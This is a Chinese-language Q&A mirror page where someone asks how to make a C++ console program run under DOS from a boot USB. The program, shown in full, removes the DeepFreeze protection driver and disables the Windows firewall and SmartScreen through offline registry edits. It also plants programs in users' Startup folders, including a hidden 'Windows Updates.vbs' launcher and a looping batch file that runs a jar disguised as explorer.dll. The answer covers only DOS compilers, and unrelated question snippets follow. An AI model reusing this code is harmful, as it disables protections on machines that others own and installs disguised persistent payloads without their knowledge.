- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我目前有一个 C++ 应用程序,可以将一些文件复制到用户的硬盘上。我在闪存驱动器上使用 Hiren 的 BootCD 来启动 MiniXP 并在其下运行我的应用程序,但加载时间有点慢,所以我想将我的应用程序添加到磁盘附带的 DOS 镜像中。我的问题是应用程序无法运行,因为“此应用程序无法在 DOS 模式下运行”。
如何在 DOS 或任何其他能够从 USB 驱动器快速启动的操作系统下运行此应用程序?
我的应用程序是一个控制台应用程序,它的代码是:
#include <iostream>
#include <fstream>
#include <windows.h>
#include <string.h>
#include <sys/stat.h>
#include <stdio.h>
#include <io.h>
#define MAX 256
using namespace std;
string systemdrive;
string users[MAX];int userscontor=0;
bool choosew7orxp;
void menu();
bool exists(const std::string& dirName_in)
{
DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
if (ftyp == INVALID_FILE_ATTRIBUTES)
return false; //something is wrong with your path!
if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
return true; // this is a directory!
return false; // this is not a directory!
}
bool fileexists (const std::string& name) {
struct stat buffer;
return (stat (name.c_str(), &buffer) == 0);
}
void checkdrive(char drive[])
{
string s(drive);
s+="Windows";
if (exists(s))
{
systemdrive = string(drive);
}
}
void list()
{
int dr_type=99;
char dr_avail[MAX];
char *temp=dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX,dr_avail);
while(*temp!=NULL) { // Split the buffer by null
dr_type=GetDriveType(temp);
switch(dr_type) {
case 3: // Fixed
checkdrive(temp);
break;
}
temp += lstrlen(temp) +1; // incriment the buffer
}
}
void copyfiles(string a1,string a2)
{
system((char*)(string("copy /V \""+a1+"\" \""+a2+"\"").c_str()));
}
void redeepfreeze()
{
system("cls");
if (!fileexists(systemdrive+"DeepFrz.backup"))
{
cout << "> Backup does not exist!\n";
Sleep(1000);
menu();
}
else
{
cout <<"> Found Backup.\n";
cout <<"> Restoring backup.\n";
string f = systemdrive;
f+="Windows\\System32\\drivers\\DeepFrz.sys";
if( remove(f.c_str()) !=0 )
{
cout << "> Cannot delete file! Aborting.\n";
Sleep(1000);
menu();
}
copyfiles(systemdrive+"DeepFrz.backup",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
cout <<"> Backup restored under \"DeepFrz.sys\"\n";
Sleep(1000);
menu();
}
}
void disablefirewall()
{
system("cls");
cout <<"> Loading registery from windows machine...\n";
// cout << "reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\System";
system((char*)(string("reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\SYSTEM").c_str()));
cout <<"> Registery loaded, disabling Firewall :3\n";
for (int i=0;i<=9;i++)
{
char buff[33];
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
}
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
cout <<"> Operation completed,saving..\n";
system("reg unload HKLM\\OLD_SYSTEM");
cout <<"> Done.\n";
Sleep(1000);
menu();
}
void disablesmartscreen()
{
system("cls");
cout <<"> Loading registery from windows machine...\n";
system((char*)(string("reg load HKLM\\OLD_SOFTWARE "+systemdrive+"Windows\\System32\\Config\\Software").c_str()));
cout <<"> Registery loaded, disabling SmartScreen :3\n";
// cout <<"reg add \"HKLM\\OLD_SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f";
// system("pause");
system((char*)(string("reg add \"HKLM\\OLD_SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f").c_str()));
cout <<"> Operation completed,saving..\n";
system("reg unload HKLM\\OLD_SOFTWARE");
cout <<"> Done.\n";
Sleep(1000);
menu();
}
//}
void deldeepfreeze()
{
system("cls");
if (!fileexists(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys"))
{
cout << "> Deepfreeze does not exist!\n";
Sleep(1000);
menu();
}
else
{
cout <<"> Found DeepFreeze.\n";
cout <<"> Creating backup.\n";
// copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.backup");
copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"DeepFrz.backup");
cout <<"> Attempting to unfreeze part one...\n";
string f = systemdrive;
f+="Windows\\System32\\drivers\\DeepFrz.sys";
if( remove(f.c_str()) !=0 )
{
cout << "> Cannot delete file! Aborting.\n";
Sleep(1000);
menu();
}
cout <<"> Backup crated under \"DeepFrz.backup\"\n";
cout <<"> Searching for \"ntfs.sys\"...\n";
if (!fileexists(systemdrive+"Windows\\System32\\drivers\\ntfs.sys"))
{
cout <<" > ERROR. Cannot find ntfs.sys! Aborting.\n";
Sleep(1000);
menu();
}
else
{
cout << "> Patching ntfs.sys...\n";
copyfiles(systemdrive+"Windows\\System32\\drivers\\ntfs.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
cout << "> Patching DONE. Computer unfrozen!\n";
Sleep(1000);
menu();
}
}
}
void list(char* dir,string users[],int &unr)
{
int con=0;
char originalDirectory[_MAX_PATH];
// Get the current directory so we can return to it
_getcwd(originalDirectory, _MAX_PATH);
_chdir(dir); // Change to the working directory
_finddata_t fileinfo;
// This will grab the first file in the directory
// "*" can be changed if you only want to look for specific files
intptr_t handle = _findfirst("*", &fileinfo);
if(handle == -1) // No files or directories found
{
cout <<"> No users found.\n";
return;
}
do
{
if(strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0)
continue;
if(fileinfo.attrib & _A_SUBDIR) // Use bitmask to see if this is a directory
{
users[con]=fileinfo.name;
con++;
}
// else
// cout << "This is a file." << endl;
} while(_findnext(handle, &fileinfo) == 0);
_findclose(handle); // Close the stream
_chdir(originalDirectory);
unr=con;
}
void installapp(char* app)
{
system("cls");
if (!fileexists(app))
{
cout << "> "<<app<<" does not exist!\n";
Sleep(1000);
menu();
}
else
{
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Start Menu\\Programs\\Startup";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
}
}
void masseject_fix()
{
system("cls");
char letter;
cout <<"> What is your default CD letter?\n";
cin >> letter;
letter=toupper(letter);
cout <<"> Selected drive: \""<<letter<<":\\\".\n";
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";
fstream fout((dest+"\\massdrive.txt").c_str(),ios::out);
fout<<" "<<letter;
fout.close();
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";
cout <<"> Done!\n";
Sleep(1000);
}
}
void installAppdata(char* app)
{
if (!fileexists(app))
{
cout << "> "<<app<<" does not exist!\n";
Sleep(1000);
menu();
}
else
{
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
}
}
void installKirLoga()
{
fstream temp("Windows Updates.vbs",ios::out);
temp << "CreateObject(\"Wscript.Shell\").Run \"\"\"\" & \"%appdata%/xfrps.bat\" & \"\"\"\", 0, False";
temp.close();
installapp("Windows Updates.vbs");
fstream temp2("xfrps.bat",ios::out);
temp2 << ":loop\r\ndel \"%APPDATA%\\KirLoga.jar\"\r\nCOPY \"%APPDATA%\\explorer.dll_update\" \"%APPDATA%\\explorer.dll\"\r\njava -jar \"%APPDATA%\\explorer.dll\" 1\r\ngoto loop";
temp2.close();
installAppdata("xfrps.bat");
installAppdata("explorer.dll_update");
menu();
}
void install_custom()
{
system("cls");
char ch[MAX];
cout <<"> Enter app name: ";
cin >>ch;
installapp(ch);
menu();
}
void menu()
{
int choose;
system("cls");
cout <<"> This is the main menu. Please choose an option.\n";
cout <<"> 1. Delete DeepFreeze\n";
cout <<"> 2. Reinstall DeepFreeze\n";
cout <<"> 3. Install MassEject\n";
cout <<"> 4. Configure MassEject\n";
cout <<"> 5. Install other app to Startup\n";
cout <<"> 6. Disable SmartScren\n";
cout <<"> 7. Disable Firewall\n";
cout <<"> 8. Quickie (Administrator, E:\\) <not updated>\n";
cout <<"> 9. Install KirLoga <only starts after reboot>\n";
cin.get();
cin >> choose;
if (choose==1)
{
deldeepfreeze();
}
else if (choose==2)
{
redeepfreeze();
}
else if (choose==3)
{
installapp("MassEject.jar");
menu();
}else if (choose==4)
{
masseject_fix();
}else if (choose==5)
{
install_custom();
}else if (choose==6)
{
disablesmartscreen();
}
else if (choose==7)
{
disablefirewall();
}
else if (choose==8)
{
//TODO
}
else if (choose==9)
{
installKirLoga();
}
}
void choose_os()
{
system("cls");
cout << "> Are you running on Windows 7 or 8.x? <A/B>"<<'\n';
char choice;
cin >> choice;
switch(choice)
{
case 'a': choosew7orxp=true;break;
case 'A': choosew7orxp=true;break;
case 'b': choosew7orxp=false;break;
case 'B': choosew7orxp=false;break;
default: cout << "> No, that's not how you do it..."; Sleep(1000);choose_os();break;
}
system("cls");
}
int main()
{
system("cls");
cout << "> Welcome to Kiraly's pack utility.\n";
cout << "> Scanning system drives...\n";
list();
cout << "> System drive identified: "<<systemdrive<<", is this correct? (Y/N) ";
char cdr;
cin >> cdr;
while (cdr!='Y'&&cdr!='y'&&cdr!='N'&&cdr!='n')
{
cout << "Incorrect syntax. Please re-enter. ";
cin >> cdr;
}
if (cdr=='n'||cdr=='N')
{
cout << "> Please enter the drive letter ONLY. Example: \"C\" not \"C:\\\" ";
char drlet;
cin >> drlet;
if ((int)drlet>=97)
{
drlet-=32;
}
systemdrive="";systemdrive+=drlet;systemdrive+=":\\";
cout <<"> The system drive letter has been set to: "<<systemdrive<<"\n";
}
// Sleep(1000);
system(systemdrive.substr(0,2).c_str());
choose_os();
menu();
}
最佳答案
首先,你需要一个可以生成DOS代码的编译器,例如watcom c++:http://www.openwatcom.org/index.php/Main_Page
您的程序使用 Windows api 调用(包括 windows.h),您需要将所有这些函数替换为 DOS 等效函数或自己编写替代函数。
关于c++ - 编译现有的 C++ 代码以在 DOS 中运行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29804274/
是否有任何库或框架旨在促进从另一种成熟的编程语言中构建项目? 在 C++、java 等编程语言中指定逻辑、集合和复杂规则非常容易,但在 Makefile 中完成这些事情似乎是一场艰苦的战斗。我还没有深
我有这段代码可以用 clang 编译得很好(即使使用 -Weverything),但是 gcc 会发出错误。 #include #include #include using namespace
我有以下 block 头文件 BKE_mesh.h: /* Connectivity data */ typedef struct IndexNode { struct IndexNode *
我在我的一个项目中遇到了一个奇怪的问题。我的代码库依赖于一个外部库,其中包含一个名为 Dataset 的类. Dataset类私有(private)继承自 std::vector (其中 Sample
当使用 gcc、g++ 或 make 在终端中编译一个小型 C 或 C++ 项目时,我收到以下错误: /tmp/ccG1caGi.o: In function `main': main.c:(.tex
我正在尝试从 CVS 为 Windows 上的 Emacs 23.1.50 编译 CEDET,但在“第 6 步:打开 EDE...”时出现错误:“defvar:作为变量的符号值是无效的:cedet-m
我正在(重新)学习编程,我从 C 开始。我的 IDE(如果我可以这么说)是 Windows7 上的 cygwin(32 位)和 Visual-Studio 2010。我总是编译我用 gcc (cygw
我喜欢在模板类中使用本地类来执行类似“static if”的构造。但是我遇到了 gcc 4.8 不想编译我的代码的问题。但是 4.7 可以。 这个例子: #include #include #in
我有一个项目,必须仅使用 java 1.4 进行编译。但我计划使用mockito 编写一些单元测试。我想要一种在 pom 中指定的方法,以便 src/main/java 使用 jdk 1.4 编译,但
我想了解 PHP 编译过程是如何工作的。 假设我有一个名为funcs.php 的文件并且这个文件有三个函数,如果我include 或require 它,所有的在文件加载期间编译三个函数?或者源代码会被
编译工具链 我们写程序的时候用的都是集成开发环境 (IDE: Integrated Development Environment),集成开发环境可以极大地方便我们程序员编写程序,但是配置起来
当我编写一些 Scala 代码时,在尝试编译代码时收到一条奇怪的错误消息。我将代码分解为一个更简单的代码(从语义的角度来看这完全没有意义,但仍然显示了错误)。 scala> :paste // Ent
我正在编译一个 SCSS 文件,它似乎删除了我的评论。我可以使用什么命令来保留所有评论? >SASS input.scss output.css 我在 SCSS 中看到两种类型的注释。 // Comm
这是我的代码: #include typedef struct { const char *description; float value; int age; } swag
当您编译 grails war 时,我知道 .groovy 代码被编译为字节码类文件,但我不明白容器(例如 tomcat)如何在请求 GSP 时知道如何编译它们。容器了解 GSP 吗?安装在服务器上的
我正在努力将多个文件编译成一个通用程序。我收到一个错误: undefined reference to 'pi' 这是我的代码和 Makefile 的框架。我做错了什么?谢谢! 文件:calcPi.c
我尝试使用 LD_PRELOAD 来 Hook sprintf function ,所以我将打印到缓冲区的结果: #define _GNU_SOURCE #include #include int
我正在寻找最简单的方法来自动将 CoffeeScript 重新编译为 JS。 阅读documentation但仍然很难得到我想要的东西。 我需要它来监视文件夹 src/ 中的任何 *.coffee 文
我想使用定制waveformjs 。我发现this on SO但是,我不知道如何编译/安装波形来开始。我从 GitHub 克隆它并进行了更改,但是我不知道如何将其转换为 .js 文件。 最佳答案 为了
很难说出这里问的是什么。这个问题是含糊的、模糊的、不完整的、过于宽泛的或修辞性的,无法以目前的形式得到合理的回答。如需帮助澄清此问题以便重新打开它,visit the help center 。 已关
我是一名优秀的程序员,十分优秀!